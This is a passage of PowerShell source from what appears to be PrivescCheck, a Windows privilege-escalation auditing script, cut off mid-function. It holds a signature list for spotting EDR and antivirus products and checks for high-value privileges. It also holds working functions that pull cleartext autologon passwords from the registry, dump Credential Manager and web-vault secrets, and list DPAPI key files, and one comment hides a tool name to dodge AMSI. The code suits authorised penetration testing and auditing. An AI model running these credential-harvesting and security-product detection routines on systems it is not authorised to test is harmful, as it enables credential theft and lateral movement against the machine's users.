4023 Windows Defender Running process ProcessName=MsMpEng
4024 Windows Defender Running process Name=MsMpEng
4025 Windows Defender Running process ProcessName=NisSrv
4026 Windows Defender Running process Name=NisSrv
4027 Windows Defender Running process ProcessName=SecurityHealthService
4028 Windows Defender Running process Name=SecurityHealthService
4029 Windows Defender Running process Description=Windows Defender SmartScreen
4030 Windows Defender Installed application Name=Windows Defender
4031 Windows Defender Installed application Name=Windows Defender
4032 Windows Defender Installed application Name=Windows Defender Advanced Threat Protection
4033 Windows Defender Service Name=SecurityHealthService
4034 Windows Defender Service ImagePath=C:\Windows\system32\SecurityHealthService.exe
4035 Windows Defender Service RegistryKey=HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService
4036 Windows Defender Service RegistryPath=Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService
4037 Windows Defender Service DisplayName=@C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe,-1001
4038 Windows Defender Service ImagePath="C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"
4039 Windows Defender Service DisplayName=@C:\Program Files\Windows Defender\MpAsDesc.dll,-390
4040 Windows Defender Service DisplayName=@C:\Program Files\Windows Defender\MpAsDesc.dll,-330
4041 Windows Defender Service DisplayName=@C:\Program Files\Windows Defender\MpAsDesc.dll,-370
4042 Windows Defender Service DisplayName=@C:\Program Files\Windows Defender\MpAsDesc.dll,-320
4043 Windows Defender Service ImagePath="C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2008.9-0\NisSrv.exe"
4044 Windows Defender Service DisplayName=@C:\Program Files\Windows Defender\MpAsDesc.dll,-310
4045 Windows Defender Service ImagePath="C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2008.9-0\MsMpEng.exe"
4046
4047 .NOTES
4048
4049 Credit goes to PwnDexter: https://github.com/PwnDexter/Invoke-EDRChecker
4050 #>
4051
4052 [CmdletBinding()] param()
4053
4054 $Signatures = @{
4055 "AMSI" = "amsi.dll"
4056 "AppSense" = "emcoreservice,emsystem,watchdogagent"
4057 "Avast" = "avast"
4058 "Avecto Defendpoint" = "avecto,defendpoint,pgeposervice,pgsystemtray,privilegeguard"
4059 "Carbon Black" = "carbon,cb.exe,logrhythm"
4060 "Cisco AMP" = "ciscoamp"
4061 "CounterTack" = "countertack"
4062 "CrowdStrike" = "crowdstrike,csagent,csfalcon,csshell,windowssensor"
4063 "Cybereason" = "activeconsole,cramtray,crssvc,cybereason"
4064 "Cylance" = "cylance,cyoptics,cyupdate"
4065 "Endgame" = "endgame"
4066 "ESET Endpoint Inspector" = "inspector"
4067 "eTrust EZ AV" = "groundling"
4068 "FireEye" = "fireeye,mandiant,xagt"
4069 "ForeScout" = "forescout,secureconnector"
4070 "IBM QRadar" = "qradar,wincollect"
4071 "Ivanti" = "ivanti"
4072 "Kaspersky" = "kaspersky"
4073 "Lacuna" = "lacuna"
4074 "McAfee" = "mcafee"
4075 "Morphisec" = "morphisec"
4076 "Program Protector" = "protectorservice"
4077 "Red Canary" = "canary"
4078 "Red Cloak" = "procwall,redcloak,cyclorama"
4079 "SentinelOne" = "sentinel"
4080 "Sophos" = "sophos"
4081 "Symantec Endpoint Protection" = "eectrl,semlaunchsvc,sepliveupdate,sisidsservice,sisipsservice,sisipsutil,smc.exe,smcgui,snac64,srtsp,symantec,symcorpui,symefasi"
4082 "Sysinternals Antivirus" = "sysinternal"
4083 "Sysinternals Sysmon" = "sysmon"
4084 "Tanium Enforce" = "tanium,tpython"
4085 "Traps" = "cyvera,cyserver,cytray,PaloAltoNetworks,tda.exe,tdawork"
4086 "Trend Micro" = "ntrtscan,tmlisten,tmbmsrv,tmssclient,tmccsf,trend"
4087 "Windows Defender" = "defender,msascuil,msmpeng,nissrv,securityhealthservice"
4088 }
4089
4090 function Find-ProtectionSoftware {
4091
4092 param(
4093 [object]$Object
4094 )
4095
4096 $Signatures.Keys | ForEach-Object {
4097
4098 $ProductName = $_
4099 $ProductSignatures = $Signatures.Item($_).Split(",")
4100
4101 $Object | Select-String -Pattern $ProductSignatures -AllMatches | ForEach-Object {
4102
4103 $($_ -Replace "@{").Trim("}").Split(";") | ForEach-Object {
4104
4105 $_.Trim() | Select-String -Pattern $ProductSignatures -AllMatches | ForEach-Object {
4106
4107 $SignatureMatch = New-Object -TypeName PSObject
4108 $SignatureMatch | Add-Member -MemberType "NoteProperty" -Name "ProductName" -Value "$ProductName"
4109 $SignatureMatch | Add-Member -MemberType "NoteProperty" -Name "Pattern" -Value "$($_)"
4110 $SignatureMatch
4111 }
4112 }
4113 }
4114 }
4115 }
4116
4117 # Need to store all the results into one arraylist so we can sort them on the product name.
4118 $Results = New-Object System.Collections.ArrayList
4119
4120 # Check DLLs loaded in the current process
4121 Get-Process -Id $PID -Module | ForEach-Object {
4122
4123 if (Test-Path -Path $_.FileName) {
4124
4125 $DllDetails = (Get-Item $_.FileName).VersionInfo | Select-Object -Property CompanyName,FileDescription,FileName,InternalName,LegalCopyright,OriginalFileName,ProductName
4126 Find-ProtectionSoftware -Object $DllDetails | ForEach-Object {
4127
4128 $Result = New-Object -TypeName PSObject
4129 $Result | Add-Member -MemberType "NoteProperty" -Name "ProductName" -Value "$($_.ProductName)"
4130 $Result | Add-Member -MemberType "NoteProperty" -Name "Source" -Value "Loaded DLL"
4131 $Result | Add-Member -MemberType "NoteProperty" -Name "Pattern" -Value "$($_.Pattern)"
4132 [void] $Results.Add($Result)
4133 }
4134 }
4135 }
4136
4137 # Check running processes
4138 Get-Process | Select-Object -Property ProcessName,Name,Path,Company,Product,Description | ForEach-Object {
4139
4140 Find-ProtectionSoftware -Object $_ | ForEach-Object {
4141
4142 $Result = New-Object -TypeName PSObject
4143 $Result | Add-Member -MemberType "NoteProperty" -Name "ProductName" -Value "$($_.ProductName)"
4144 $Result | Add-Member -MemberType "NoteProperty" -Name "Source" -Value "Running process"
4145 $Result | Add-Member -MemberType "NoteProperty" -Name "Pattern" -Value "$($_.Pattern)"
4146 [void] $Results.Add($Result)
4147 }
4148 }
4149
4150 # Check installed applications
4151 Get-InstalledPrograms | Select-Object -Property Name | ForEach-Object {
4152
4153 Find-ProtectionSoftware -Object $_ | ForEach-Object {
4154
4155 $Result = New-Object -TypeName PSObject
4156 $Result | Add-Member -MemberType "NoteProperty" -Name "ProductName" -Value "$($_.ProductName)"
4157 $Result | Add-Member -MemberType "NoteProperty" -Name "Source" -Value "Installed application"
4158 $Result | Add-Member -MemberType "NoteProperty" -Name "Pattern" -Value "$($_.Pattern)"
4159 [void] $Results.Add($Result)
4160 }
4161 }
4162
4163 # Check installed services
4164 Get-ServiceList -FilterLevel 1 | ForEach-Object {
4165
4166 Find-ProtectionSoftware -Object $_ | ForEach-Object {
4167
4168 $Result = New-Object -TypeName PSObject
4169 $Result | Add-Member -MemberType "NoteProperty" -Name "ProductName" -Value "$($_.ProductName)"
4170 $Result | Add-Member -MemberType "NoteProperty" -Name "Source" -Value "Service"
4171 $Result | Add-Member -MemberType "NoteProperty" -Name "Pattern" -Value "$($_.Pattern)"
4172 [void] $Results.Add($Result)
4173 }
4174 }
4175
4176 $Results | Sort-Object -Property ProductName,Source
4177 }
4178
4179 # ----------------------------------------------------------------
4180 # END MISC
4181 # ----------------------------------------------------------------
4182
4183
4184 # ----------------------------------------------------------------
4185 # BEGIN CURRENT USER
4186 # ----------------------------------------------------------------
4187 function Invoke-UserCheck {
4188 <#
4189 .SYNOPSIS
4190
4191 Gets the usernane and SID of the current user
4192
4193 Author: @itm4n
4194 License: BSD 3-Clause
4195
4196 .DESCRIPTION
4197
4198 Gets the usernane and SID of the current user
4199
4200 .EXAMPLE
4201
4202 PS C:\> Invoke-UserCheck
4203
4204 Name SID
4205 ---- ---
4206 DESKTOP-FEOHNOM\lab-user S-1-5-21-1448366976-598358009-3880595148-1002
4207
4208 #>
4209
4210 [CmdletBinding()] param()
4211
4212 $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent()
4213
4214 $UserResult = New-Object -TypeName PSObject
4215 $UserResult | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $CurrentUser.Name
4216 $UserResult | Add-Member -MemberType "NoteProperty" -Name "SID" -Value $CurrentUser.User
4217 $UserResult
4218 }
4219
4220 function Invoke-UserGroupsCheck {
4221 <#
4222 .SYNOPSIS
4223
4224 Enumerates groups the current user belongs to except default and low-privileged ones
4225
4226 Author: @itm4n
4227 License: BSD 3-Clause
4228
4229 .DESCRIPTION
4230
4231 For each group the current user belongs to, a custom object is returned, indicating the name
4232 and the SID of the group.
4233
4234 .EXAMPLE
4235
4236 PS C:\> Invoke-UserGroupsCheck
4237
4238 Name SID
4239 ---- ---
4240 BUILTIN\Remote Management Users S-1-5-32-580
4241
4242 .LINK
4243
4244 https://support.microsoft.com/en-us/help/243330/well-known-security-identifiers-in-windows-operating-systems
4245 https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab
4246 #>
4247
4248 [CmdletBinding()] param()
4249
4250 $IgnoredGroupSids = @(
4251 "S-1-0", # Null Authority
4252 "S-1-0-0", # Nobody
4253 "S-1-1", # World Authority
4254 "S-1-1-0", # Everyone
4255 "S-1-2", # Local Authority
4256 "S-1-2-0", # Local
4257 "S-1-2-1", # CONSOLE_LOGON
4258 "S-1-3", # Creator Authority
4259 "S-1-3-0", # Creator Owner
4260 "S-1-3-1", # Creator Group
4261 "S-1-3-2", # OWNER_SERVER
4262 "S-1-3-3", # GROUP_SERVER
4263 "S-1-3-4", # Owner Rights
4264 "S-1-5-80-0", # NT Services\All Services
4265 "S-1-5", # NT Authority
4266 "S-1-5-1", # Dialup
4267 "S-1-5-2", # Network
4268 "S-1-5-3", # Batch
4269 "S-1-5-4", # Interactive
4270 "S-1-5-6", # Service
4271 "S-1-5-7", # Anonymous
4272 "S-1-5-8", # PROXY
4273 "S-1-5-10", # Principal Self
4274 "S-1-5-11", # Authenticated Users
4275 "S-1-5-12", # Restricted Code
4276 "S-1-5-15", # THIS_ORGANIZATION
4277 "S-1-5-17", # This Organization
4278 "S-1-5-18", # Local System
4279 "S-1-5-19", # Local Service
4280 "S-1-5-20", # Network Service
4281 "S-1-5-32-545", # Users
4282 "S-1-5-32-546", # Guests
4283 "S-1-5-32-554", # Builtin\Pre-Windows 2000 Compatible Access
4284 "S-1-5-80-0", # NT Services\All Services
4285 "S-1-5-83-0", # NT Virtual Machine\Virtual Machines
4286 "S-1-5-113", # LOCAL_ACCOUNT
4287 "S-1-5-1000", # OTHER_ORGANIZATION
4288 "S-1-15-2-1" # ALL_APP_PACKAGES
4289 )
4290
4291 $IgnoredGroupSidPatterns = @(
4292 "S-1-5-21-*-513", # Domain Users
4293 "S-1-5-21-*-514", # Domain Guests
4294 "S-1-5-21-*-515", # Domain Computers
4295 "S-1-5-21-*-516", # Domain Controllers
4296 "S-1-5-21-*-545", # Users
4297 "S-1-5-21-*-546", # Guests
4298 "S-1-5-64-*", # NTLM / SChannel / Digest Authentication
4299 "S-1-16-*", # Integrity levels
4300 "S-1-15-3-*", # Capabilities ("Active Directory does not resolve capability SIDs to names. This behavior is by design.")
4301 "S-1-18-*" # Identities
4302 )
4303
4304 $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent()
4305 $Groups = $CurrentUser.Groups
4306
4307 ForEach ($Group in $Groups) {
4308
4309 $GroupSid = $Group.Value
4310
4311 if (-not ($IgnoredGroupSids -contains $GroupSid)) {
4312
4313 $KnownSid = $False
4314 ForEach ($Pattern in $IgnoredGroupSidPatterns) {
4315 if ($GroupSid -like $Pattern) {
4316 Write-Verbose "Known SID pattern: $GroupSid"
4317 $KnownSid = $true
4318 break
4319 }
4320 }
4321
4322 if (-not $KnownSid) {
4323
4324 try {
4325 $GroupName = ($Group.Translate([System.Security.Principal.NTAccount])).Value
4326 } catch {
4327 $GroupName = "N/A"
4328 }
4329
4330 $UserGroups = New-Object -TypeName PSObject
4331 $UserGroups | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $GroupName
4332 $UserGroups | Add-Member -MemberType "NoteProperty" -Name "SID" -Value $GroupSid
4333 $UserGroups
4334 }
4335 } else {
4336 Write-Verbose "Known SID: $GroupSid"
4337 }
4338 }
4339 }
4340
4341 function Invoke-UserPrivilegesCheck {
4342 <#
4343 .SYNOPSIS
4344
4345 Enumerates privileges which can be abused for privilege escalation
4346
4347 Author: @itm4n
4348 License: BSD 3-Clause
4349
4350 .DESCRIPTION
4351
4352 Enumerates all the privileges of the current user thanks to the custom Get-UserPrivileges
4353 function. Then, it checks whether each privilege is contained in a pre-defined list of
4354 high value privileges.
4355
4356 .EXAMPLE
4357
4358 Name State Description
4359 ---- ----- -----------
4360 SeImpersonatePrivilege Enabled Impersonate a client after authentication
4361
4362 #>
4363
4364 [CmdletBinding()] param()
4365
4366 $HighPotentialPrivileges = "SeAssignPrimaryTokenPrivilege", "SeImpersonatePrivilege", "SeCreateTokenPrivilege", "SeDebugPrivilege", "SeLoadDriverPrivilege", "SeRestorePrivilege", "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeBackupPrivilege", "SeManageVolumePrivilege"
4367
4368 $CurrentPrivileges = Get-UserPrivileges
4369
4370 ForEach ($Privilege in $CurrentPrivileges) {
4371
4372 if ($HighPotentialPrivileges -contains $Privilege.Name) {
4373
4374 $Privilege
4375 }
4376 }
4377 }
4378
4379 function Invoke-UserEnvCheck {
4380 <#
4381 .SYNOPSIS
4382
4383 Checks for sensitive data in environment variables
4384
4385 Author: @itm4n
4386 License: BSD 3-Clause
4387
4388 .DESCRIPTION
4389
4390 Environment variables may contain sensitive information such as database credentials or API
4391 keys.
4392
4393 #>
4394
4395 [CmdletBinding()] param()
4396
4397 [string[]] $Keywords = "key", "passw", "secret", "pwd", "creds", "credential", "api"
4398
4399 Get-ChildItem -Path env: | ForEach-Object {
4400
4401 $EntryName = $_.Name
4402 $EntryValue = $_.Value
4403 $CheckVal = "$($_.Name) $($_.Value)"
4404
4405 ForEach ($Keyword in $Keywords) {
4406
4407 if ($CheckVal -Like "*$($Keyword)*") {
4408
4409 $EnvItem = New-Object -TypeName PSObject
4410 $EnvItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $EntryName
4411 $EnvItem | Add-Member -MemberType "NoteProperty" -Name "Value" -Value $EntryValue
4412 $EnvItem | Add-Member -MemberType "NoteProperty" -Name "Keyword" -Value $Keyword
4413 $EnvItem
4414 }
4415 }
4416 }
4417 }
4418 # ----------------------------------------------------------------
4419 # END CURRENT USER
4420 # ----------------------------------------------------------------
4421
4422
4423 # ----------------------------------------------------------------
4424 # BEGIN CREDENTIALS
4425 # ----------------------------------------------------------------
4426 function Invoke-WinlogonCheck {
4427 <#
4428 .SYNOPSIS
4429
4430 Checks credentials stored in the Winlogon registry key
4431
4432 Author: @itm4n
4433 License: BSD 3-Clause
4434
4435 .DESCRIPTION
4436
4437 Windows has a registry setting to enable automatic logon. You can set a username and a password
4438 in order to automatically initiate a user session on system startup. The password is stored in
4439 clear text so it's easy to extract it. This function returns a set of credentials only if the
4440 password field is not empty.
4441
4442 .EXAMPLE
4443
4444 PS C:\> Invoke-WinlogonCheck
4445
4446 Domain Username Password
4447 ------ -------- --------
4448 lab-admin
4449
4450 .LINK
4451
4452 https://support.microsoft.com/en-us/help/324737/how-to-turn-on-automatic-logon-in-windows
4453
4454 #>
4455
4456 [CmdletBinding()] param()
4457
4458 $RegPath = "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
4459 $Item = Get-ItemProperty -Path $RegPath -ErrorAction SilentlyContinue -ErrorVariable GetItemPropertyError
4460
4461 if (-not $GetItemPropertyError) {
4462
4463 if ($Item.DefaultPassword) {
4464 $WinlogonItem = New-Object -TypeName PSObject
4465 $WinlogonItem | Add-Member -MemberType "NoteProperty" -Name "Domain" -Value $Item.DefaultDomainName
4466 $WinlogonItem | Add-Member -MemberType "NoteProperty" -Name "Username" -Value $Item.DefaultUserName
4467 $WinlogonItem | Add-Member -MemberType "NoteProperty" -Name "Password" -Value $Item.DefaultPassword
4468 $WinlogonItem
4469 }
4470
4471 if ($Item.AltDefaultPassword) {
4472 $WinlogonItem = New-Object -TypeName PSObject
4473 $WinlogonItem | Add-Member -MemberType "NoteProperty" -Name "Domain" -Value $Item.AltDefaultDomainName
4474 $WinlogonItem | Add-Member -MemberType "NoteProperty" -Name "Username" -Value $Item.AltDefaultUserName
4475 $WinlogonItem | Add-Member -MemberType "NoteProperty" -Name "Password" -Value $Item.AltDefaultPassword
4476 $WinlogonItem
4477 }
4478
4479 } else {
4480 Write-Verbose "Error while querying '$RegPath'"
4481 }
4482 }
4483
4484 function Invoke-CredentialFilesCheck {
4485 <#
4486 .SYNOPSIS
4487
4488 List the Credential files that are stored in the current user AppData folders.
4489
4490 Author: @itm4n
4491 License: BSD 3-Clause
4492
4493 .DESCRIPTION
4494
4495 Credentials stored in the Credential Manager are actually saved as files in the current user's
4496 home folder. The sensitive information is saved in an ecnrypted format which differs depending
4497 on the credential type.
4498
4499 .EXAMPLE
4500
4501 PS C:\> Invoke-CredentialFilesCheck
4502
4503 FullPath
4504 ------
4505 C:\Users\lab-user\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
4506 C:\Users\lab-user\AppData\Roaming\Microsoft\Credentials\9751D70B4AC36953347138F9A5C2D23B
4507 C:\Users\lab-user\AppData\Roaming\Microsoft\Credentials\9970C9D5A29B2D83514BEFD30A4D48B4
4508
4509 #>
4510
4511 [CmdletBinding()] param()
4512
4513 $CredentialsFound = $False
4514
4515 $Paths = New-Object -TypeName System.Collections.ArrayList
4516 [void] $Paths.Add($(Join-Path -Path $env:LOCALAPPDATA -ChildPath "Microsoft\Credentials"))
4517 [void] $Paths.Add($(Join-Path -Path $env:APPDATA -ChildPath "Microsoft\Credentials"))
4518
4519 ForEach ($Path in [string[]]$Paths) {
4520
4521 Get-ChildItem -Force -Path $Path -ErrorAction SilentlyContinue | ForEach-Object {
4522
4523 $Result = New-Object -TypeName PSObject
4524 $Result | Add-Member -MemberType "NoteProperty" -Name "Type" -Value "Credentials"
4525 $Result | Add-Member -MemberType "NoteProperty" -Name "FullPath" -Value $_.FullName
4526 $Result
4527
4528 if (-not $CredentialsFound) { $CredentialsFound = $True }
4529 }
4530 }
4531
4532 if ($CredentialsFound) {
4533
4534 $CurrentUser = Invoke-UserCheck
4535
4536 if ($CurrentUser -and $CurrentUser.SID) {
4537
4538 $Paths = New-Object -TypeName System.Collections.ArrayList
4539 [void] $Paths.Add($(Join-Path -Path $env:LOCALAPPDATA -ChildPath "Microsoft\Protect\$($CurrentUser.SID)"))
4540 [void] $Paths.Add($(Join-Path -Path $env:APPDATA -ChildPath "Microsoft\Protect\$($CurrentUser.SID)"))
4541
4542 ForEach ($Path in [string[]]$Paths) {
4543
4544 Get-ChildItem -Force -Path $Path -ErrorAction SilentlyContinue | Where-Object {$_.Name.Length -eq 36 } | ForEach-Object {
4545
4546 $Result = New-Object -TypeName PSObject
4547 $Result | Add-Member -MemberType "NoteProperty" -Name "Type" -Value "Protect"
4548 $Result | Add-Member -MemberType "NoteProperty" -Name "FullPath" -Value $_.FullName
4549 $Result
4550 }
4551 }
4552 }
4553 }
4554 }
4555
4556 function Invoke-VaultCredCheck {
4557 <#
4558 .SYNOPSIS
4559
4560 Enumerates the credentials saved in the Credential Manager.
4561
4562 Author: @itm4n
4563 License: BSD 3-Clause
4564
4565 .DESCRIPTION
4566
4567 Credentials saved in the Credential Manager can be extracted by invoking the Win32 CredEnumerate
4568 function. This function returns a pointer to an array of PCREDENTIAL pointers. Therefore we can
4569 iterate this array to access each CREDENTIAL structure individually. Depending on the type of
4570 credential, the CredentialBlob member either contains the cleartext password or a blob which we
4571 cannot decode (because it's application specific). For each structure, a custom PS object is
4572 returned. The output should be quite similar to the output generated by the command vault::cred
4573 in M*m*k*tz (don't want to trigger AMSI with this keyword :P).
4574
4575 .EXAMPLE
4576
4577 PS C:\> Invoke-VaultCredCheck
4578
4579 TargetName : Domain:target=192.168.0.10
4580 UserName : LAB-PC\lab-user
4581 Comment : SspiPfc
4582 Type : 2 - DOMAIN_PASSWORD
4583 Persist : 3 - ENTERPRISE
4584 Flags : 0
4585 Credential :
4586
4587 TargetName : LegacyGeneric:target=https://github.com/
4588 UserName : [email protected]
4589 Comment :
4590 Type : 1 - GENERIC
4591 Persist : 2 - LOCAL_MACHINE
4592 Flags : 0
4593 Credential : dBa2F06TTsrvSeLbyoW8
4594
4595 .LINK
4596
4597 https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratew
4598 https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials
4599
4600 #>
4601
4602 [CmdletBinding()] param()
4603
4604 function Convert-TypeToString {
4605 [CmdletBinding()] param(
4606 [Uint32]$Type
4607 )
4608
4609 $TypeEnum = @{
4610 "GENERIC" = "1";
4611 "DOMAIN_PASSWORD" = "2";
4612 "DOMAIN_CERTIFICATE" = "3";
4613 "DOMAIN_VISIBLE_PASSWORD" = "4"; # This value is no longer supported.
4614 "GENERIC_CERTIFICATE" = "5"; # This value is no longer supported.
4615 "DOMAIN_EXTENDED" = "6"; # This value is no longer supported.
4616 "MAXIMUM" = "7"; # This value is no longer supported.
4617 "TYPE_MAXIMUM_EX" = "8"; # This value is no longer supported.
4618 }
4619
4620 $TypeEnum.GetEnumerator() | ForEach-Object {
4621 if ( $_.Value -eq $Type )
4622 {
4623 $_.Name
4624 }
4625 }
4626 }
4627
4628 function Convert-PersistToString {
4629 [CmdletBinding()] param(
4630 [Uint32]$Persist
4631 )
4632
4633 $PersistEnum = @{
4634 "SESSION" = "1";
4635 "LOCAL_MACHINE" = "2";
4636 "ENTERPRISE" = "3";
4637 }
4638
4639 $PersistEnum.GetEnumerator() | ForEach-Object {
4640 if ( $_.Value -eq $Persist )
4641 {
4642 $_.Name
4643 }
4644 }
4645 }
4646
4647 function Get-Credential {
4648 [CmdletBinding()] param(
4649 [PrivescCheck.Win32+CREDENTIAL]$RawObject
4650 )
4651
4652 if (-not ($RawObject.CredentialBlobSize -eq 0)) {
4653
4654 $UnicodeString = New-Object -TypeName "PrivescCheck.Win32+UNICODE_STRING"
4655 $UnicodeString.Length = $RawObject.CredentialBlobSize
4656 $UnicodeString.MaximumLength = $RawObject.CredentialBlobSize
4657 $UnicodeString.Buffer = $RawObject.CredentialBlob
4658
4659 $TestFlags = 2 # IS_TEXT_UNICODE_STATISTICS
4660 $IsUnicode = [PrivescCheck.Win32]::IsTextUnicode($UnicodeString.Buffer, $UnicodeString.Length, [ref]$TestFlags)
4661
4662 if ($IsUnicode) {
4663 $Result = [Runtime.InteropServices.Marshal]::PtrToStringUni($UnicodeString.Buffer, $UnicodeString.Length / 2)
4664 } else {
4665 for ($i = 0; $i -lt $UnicodeString.Length; $i++) {
4666 $BytePtr = [IntPtr] ($UnicodeString.Buffer.ToInt64() + $i)
4667 $Byte = [Runtime.InteropServices.Marshal]::ReadByte($BytePtr)
4668 $Result += "{0:X2} " -f $Byte
4669 }
4670 }
4671
4672 $Result
4673 }
4674 }
4675
4676 # CRED_ENUMERATE_ALL_CREDENTIALS = 0x1
4677 $Count = 0;
4678 [IntPtr]$CredentialsPtr = [IntPtr]::Zero
4679 $Success = [PrivescCheck.Win32]::CredEnumerate([IntPtr]::Zero, 1, [ref]$Count, [ref]$CredentialsPtr)
4680 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
4681
4682 if ($Success) {
4683
4684 Write-Verbose "CredEnumerate() OK - Count: $($Count)"
4685
4686 # CredEnumerate() returns an array of $Count PCREDENTIAL pointers, so we need to iterate
4687 # this array in order to get each PCREDENTIAL pointer. Then we can use this pointer to
4688 # convert a blob of unmanaged memory to a PrivescCheck.Win32+CREDENTIAL object.
4689
4690 for ($i = 0; $i -lt $Count; $i++) {
4691
4692 $CredentialPtrOffset = [IntPtr] ($CredentialsPtr.ToInt64() + [IntPtr]::Size * $i)
4693 $CredentialPtr = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($CredentialPtrOffset)
4694 $Credential = [System.Runtime.InteropServices.Marshal]::PtrToStructure($CredentialPtr, [type] [PrivescCheck.Win32+CREDENTIAL])
4695 $CredentialStr = Get-Credential -RawObject $Credential
4696
4697 if (-not [String]::IsNullOrEmpty($CredentialStr)) {
4698 $CredentialObject = New-Object -TypeName PSObject
4699 $CredentialObject | Add-Member -MemberType "NoteProperty" -Name "TargetName" -Value $Credential.TargetName
4700 $CredentialObject | Add-Member -MemberType "NoteProperty" -Name "UserName" -Value $Credential.UserName
4701 $CredentialObject | Add-Member -MemberType "NoteProperty" -Name "Comment" -Value $Credential.Comment
4702 $CredentialObject | Add-Member -MemberType "NoteProperty" -Name "Type" -Value "$($Credential.Type) - $(Convert-TypeToString -Type $Credential.Type)"
4703 $CredentialObject | Add-Member -MemberType "NoteProperty" -Name "Persist" -Value "$($Credential.Persist) - $(Convert-PersistToString -Persist $Credential.Persist)"
4704 $CredentialObject | Add-Member -MemberType "NoteProperty" -Name "Flags" -Value "0x$($Credential.Flags.ToString('X8'))"
4705 $CredentialObject | Add-Member -MemberType "NoteProperty" -Name "Credential" -Value $CredentialStr
4706 $CredentialObject
4707 }
4708 }
4709
4710 [PrivescCheck.Win32]::CredFree($CredentialsPtr)
4711
4712 } else {
4713 # If there is no saved credentials, CredEnumerate sets the last error to ERROR_NOT_FOUND
4714 # but this doesn't mean that the function really failed. The same thing applies for
4715 # the error code ERROR_NO_SUCH_LOGON_SESSION.
4716 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
4717 }
4718 }
4719
4720 function Invoke-VaultListCheck {
4721 <#
4722 .SYNOPSIS
4723
4724 Enumerates web credentials saved in the Credential Manager.
4725
4726 Author: @itm4n
4727 License: BSD 3-Clause
4728
4729 .DESCRIPTION
4730
4731 Credentials saved in Internet Explorer or Edge for example are actually saved in the system's
4732 Credential Manager. These credentials can be extracted using undocumented Windows API functions
4733 from "vaultcli.dll". It's highly inspired from the "vault::list" command of M*m*k*tz (by
4734 Benjamin Delpy @gentilkiwi) and "Get-VaultCredential.ps1" (by Matthew Graeber).
4735 Only entries containing a non-empty password field are returned as a custom PS object.
4736
4737 .EXAMPLE
4738
4739 PS C:\> Invoke-VaultListCheck
4740
4741 Type : Web Credentials
4742 TargetName : https://github.com/
4743 UserName : [email protected]
4744 Credential : foo123
4745 LastWritten : 01/01/1970 13:37:00
4746
4747 .LINK
4748
4749 https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_vault.c
4750 https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Get-VaultCredential.ps1
4751
4752 #>
4753
4754
4755 [CmdletBinding()] param()
4756
4757 function Get-VaultNameFromGuid {
4758 [CmdletBinding()] param(
4759 [Guid] $VaultGuid
4760 )
4761
4762 $VaultSchemaEnum = @{
4763 ([Guid] '2F1A6504-0641-44CF-8BB5-3612D865F2E5') = 'Windows Secure Note'
4764 ([Guid] '3CCD5499-87A8-4B10-A215-608888DD3B55') = 'Windows Web Password Credential'
4765 ([Guid] '154E23D0-C644-4E6F-8CE6-5069272F999F') = 'Windows Credential Picker Protector'
4766 ([Guid] '4BF4C442-9B8A-41A0-B380-DD4A704DDB28') = 'Web Credentials'
4767 ([Guid] '77BC582B-F0A6-4E15-4E80-61736B6F3B29') = 'Windows Credentials'
4768 ([Guid] 'E69D7838-91B5-4FC9-89D5-230D4D4CC2BC') = 'Windows Domain Certificate Credential'
4769 ([Guid] '3E0E35BE-1B77-43E7-B873-AED901B6275B') = 'Windows Domain Password Credential'
4770 ([Guid] '3C886FF3-2669-4AA2-A8FB-3F6759A77548') = 'Windows Extended Credential'
4771 }
4772
4773 $VaultSchemaEnum[$VaultGuid]
4774 }
4775
4776 # Highly inspired from "Get-VaultCredential.ps1", credit goes to Matthew Graeber
4777 # https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Get-VaultCredential.ps1
4778 function Get-VaultItemElementValue {
4779 [CmdletBinding()] param(
4780 [IntPtr] $VaultItemElementPtr
4781 )
4782
4783 if ($VaultItemElementPtr -eq [IntPtr]::Zero) {
4784 return
4785 }
4786
4787 $VaultItemDataHeader = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultItemElementPtr, [type] [PrivescCheck.Win32+VAULT_ITEM_DATA_HEADER])
4788 $VaultItemDataValuePtr = [IntPtr] ($VaultItemElementPtr.ToInt64() + 16)
4789
4790 switch ($VaultItemDataHeader.Type) {
4791
4792 # ElementType_Boolean
4793 0x00 {
4794 [Bool] [Runtime.InteropServices.Marshal]::ReadByte($VaultItemDataValuePtr)
4795 }
4796
4797 # ElementType_Short
4798 0x01 {
4799 [Runtime.InteropServices.Marshal]::ReadInt16($VaultItemDataValuePtr)
4800 }
4801
4802 # ElementType_UnsignedShort
4803 0x02 {
4804 [Runtime.InteropServices.Marshal]::ReadInt16($VaultItemDataValuePtr)
4805 }
4806
4807 # ElementType_Integer
4808 0x03 {
4809 [Runtime.InteropServices.Marshal]::ReadInt32($VaultItemDataValuePtr)
4810 }
4811
4812 # ElementType_UnsignedInteger
4813 0x04 {
4814 [Runtime.InteropServices.Marshal]::ReadInt32($VaultItemDataValuePtr)
4815 }
4816
4817 # ElementType_Double
4818 0x05 {
4819 [Runtime.InteropServices.Marshal]::PtrToStructure($VaultItemDataValuePtr, [Type] [Double])
4820 }
4821
4822 # ElementType_Guid
4823 0x06 {
